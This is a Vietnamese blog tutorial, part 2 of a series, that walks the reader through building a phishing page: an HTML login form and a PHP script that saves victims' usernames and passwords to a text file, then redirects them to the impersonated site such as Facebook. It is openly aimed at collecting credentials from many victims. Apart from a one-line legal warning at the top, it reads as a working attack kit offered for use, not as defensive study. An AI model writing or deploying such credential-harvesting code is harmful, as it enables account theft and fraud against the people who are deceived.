Luật an ninh mạng 2018 quy định rõ hành vi phá hoại trên không gian mạng là hành vi vi phạm pháp luật nhà nước Việt Nam

Tự tạo một chương trình Phishing đơn giản bằng HTML và PHP để tấn công giả mạo. [ Phần 2 ]

Tự tạo một chương trình Phishing đơn giản bằng HTML và PHP để tấn công giả mạo. [ Phần 2 ]


Tự tạo một chương trình Phishing đơn giản bằng HTML và PHP để tấn công giả mạo. [ Phần 2 ]

[ Phần 1 ] : Khởi động - Nguyên lí của phương pháp và định hướng viết chương trình - Cài đặt môi trường
[ Phần 2 ] : Viết chương trình - Chạy thử
[ Phần 3 ] : Đưa chương trình ra phạm vi Internet .
[ Phần 4 ] : Nâng cao - Xây dựng giao diện giống các mạng xã hội .

Ở phần 1 . Ta đã đi tìm hiểu : [ Khởi động - Nguyên lí của phương pháp và định hướng viết chương trình - Cài đặt môi trường ] : . Và trong bài viết này ta cùng đi tìm hiểu cách xây dựng một chương trình đơn giản dùng để Phishing .

[ Phần 2 ] : Viết chương trình - Chạy thử

A. Viết chương trình 

Trước khi đi viết chương trình. Chúng ta hãy tạo một thư mục để chứa code . Bạn nào không thích cũng được. Đơn giản là vì tạo thêm thư mục chứa code để dễ quản lí hơn thôi . Và khuyên là nên tạo thư mục chứa code . Còn vì sao thì các bạn tự tìm hiểu sau khi đẩy nó ra khỏi localhost .

Ở bài viết này. Tôi sẽ tạo thư mục có tên " phishing " . Tạo tiếp hai file có tên " <tên_bạn_thích>.html " và " <tên_bạn_thích>.php " . Ở đây tôi sẽ tạo hai file đó là phishing.html login.php . 

Đầu tiên . Ta làm việc với phishing.html . Đây sẽ là các file chứa cái mà người dùng sẽ giao tiếp với nó . Và cũng là cái file quan trọng. Không có nó , cuộc phishing thất bại .

1. PHISHING.HTML 

Mục đích của ta là để lấy cái user và cái pass mà người dùng nhập vào rồi sau đó gửi lên server của ta để ta lưu nó lại . 😎 . Vậy , để lấy được những gì mà người dùng nhập vào sau đó post lên server thì ta cần phải làm gì ? .

Đơn giản , trong mã html , có hỗ trợ thẻ <form> đây là thẻ dùng để được dùng để người dùng gửi thông tin lên server. Chức năng ta cần quan tâm ở đây là , à , ta chỉ cần lấy dữ liệu người dùng nhập vào rồi sau đó gửi nó lên server để server nó lưu lại . Ồ ! Vậy ta sẽ chỉ quan tâm đến thuộc tính , phần tử action  method.
Vậy chức năng của action và method ở đây là gì ?

action : Là cái chỉ cho trình duyệt biết rằng dữ liệu mà được nhập vào cái form đó sẽ được gửi đến đâu .
method : Chỉ định cách thức mà dữ liệu được gửi lên server . Có hai tùy chọn đó là :

  1. method="get" : Dữ liệu gửi lên theo dạng url . Tức khi nhấn submit thì trên url trình duyệt sẽ hiển thị luôn những gì mà người dùng nhập vào . Cái này thì không nên dùng . Thứ nhất là mất tính thẩm mĩ , thứ hai là dễ bị nghi . Còn nếu trong thiết kế web thì nó không được an toàn .  
  2. method="post" : Cái này nên dung này . Sử dụng method="post" thì khi submit dữ liệu sẽ được gửi theo request đến Server và là ẩn với người dùng . Và vì vậy nên ta mới cần thêm file login.php để đọc cái mà được gửi lên và lưu nó lại . 
Ok ! . Và bây giờ ta chuyển qua file login.php . 

À mà chưa , file phishing.html chưa xong . Ta cần phải tạo cái gì đó để người dùng nhập vào mới submit được. Và vì vậy, ta có thẻ <input> . Để submit (gửi) form, thường tạo ra một nút bấm từ phần tử <input> và chỉ ra type của nó . type là dạng của input , có dạng số , text , pass , submit , ... Nhưng ta chỉ cần quan tâm đến dạng text ( Dùng nhập user ) , dạng pass ( Dùng nhập pass ) , và dạng submit ( Để tạo nút submit gửi dữ liệu lên server ) . Thôi ! Không nó nhiều về HTML nữa , các bạn có thể tìm hiểu thêm về form trong html qua các bài viết trên Internet. Đây khá là chi tiết : https://xuanthulab.net/the-form-trong-html.html . Nói thế để các bạn hiểu thêm về cái mà ta sẽ viết trong code sau đây : 

<form method="post" action="post.php">
Username: <input type="text" name="username" value=""/><br/>
Password: <input type="password" name="password" value=""/>
<input type="submit" name="btn" value="Login"/>
</form>

Và demo code trên :

Username:
Password:
Code trên không nhất nhất là phải như thế . Bạn có thể thay đổi theo ý thích. Nhưng bây giờ hãy để mặc định để nó khớp với hướng dẫn này. Còn sau thì tùy các bạn.

Ok ! Vậy là file phishing.html chứa code trên. Bây giờ chuyển qua login.php

2. LOGIN.PHP

Như đã nói ở trên . Vì ta dùng phương thức " method="post" " . Do đó dữ liệu sẽ được gửi đến thông qua request đên server , nên ta cần file login.php để lấy dữ liệu đó ra. Và dùng phương thức " $_POST " của php để lấy dữ liệu đó ra . Tôi cũng chả phải thằng coder php đâu. Biết ít ít thế thôi . 😓 .

Code php của ta có dạng sau :

<?php

file_put_contents("info.txt", "Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://github.com');
exit();

Bạn có để ý tới :
file_put_contents : Dùng để lưu thông tin được submit lên vào một file và cụ thể là như thế này :
file_put_contents("info.txt", "Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
Lưu thành file có tên info.txt với các thông tin sau , Username là cái username mà người dùng nhập vào , Pass là cái password mà người dùng nhập vào và tạo thêm dòng mới . Mục đích dòng mới này là vì . Ta là ta đang tấn công phishing , mà không chỉ một người mà nhiều người , nên khi có thêm dữ liệu mới được gửi lên , nó sẽ ghi cùng hàng với dữ liệu cũ trông sẽ khó con mắt . Và cũng vì có nhiều dữ liệu gửi đến nên mới có thêm FILE_APPEND . Mục đích của FILE_APPEND là khi có dữ liệu mới được gửi đến, nếu bình thường , nó sẽ ghi đè lên dữ liệu củ, làm mất dữ liệu củ đó. Do đó FILE_APPEND giúp dữ liệu mới sẽ được ghi tiếp vào file đó .

À mà $_POST['username'] ở đây là gì ? username ở đâu ra ? . Bạn có để ý đến <input type="text" name="username" value=""/> không ? thì username ở đây chính là tên của dữ liệu được gửi lên đó. Và tên dữ liệu được gửi lên được xác định bàng name="username" của thẻ input trong mã html . Và cái còn lại tương tự .

Còn header('Location: https://github.com'); là để chuyển hướng người dùng đến trang chính . Tức là trang mà ta fake đó . Hay còn hiểu là nếu bạn fake facebook.com thì thay cái trên thành https://facebook.com
Ok ! Tôi đã nó cụ thể thế rồi nên đừng hỏi thêm gì nhé !.  Chuyển sang phần test code .

B. Test Code 

Phần này tôi thực hiện bằng video nên tôi chỉ tóm tắt các bước là như này .

  • Di chuyển đến thư mục chứa code .
  • Chạy lệnh : php -S localhost:8080

Mục đích lệnh trên là tạo server localhost để test code . Đường dẫn để test đó là :
http://localhost:8080/phishing.html
Video Demo 



OK ! DONE 

[ " Chương trình chạy tốt tẹt ga " ]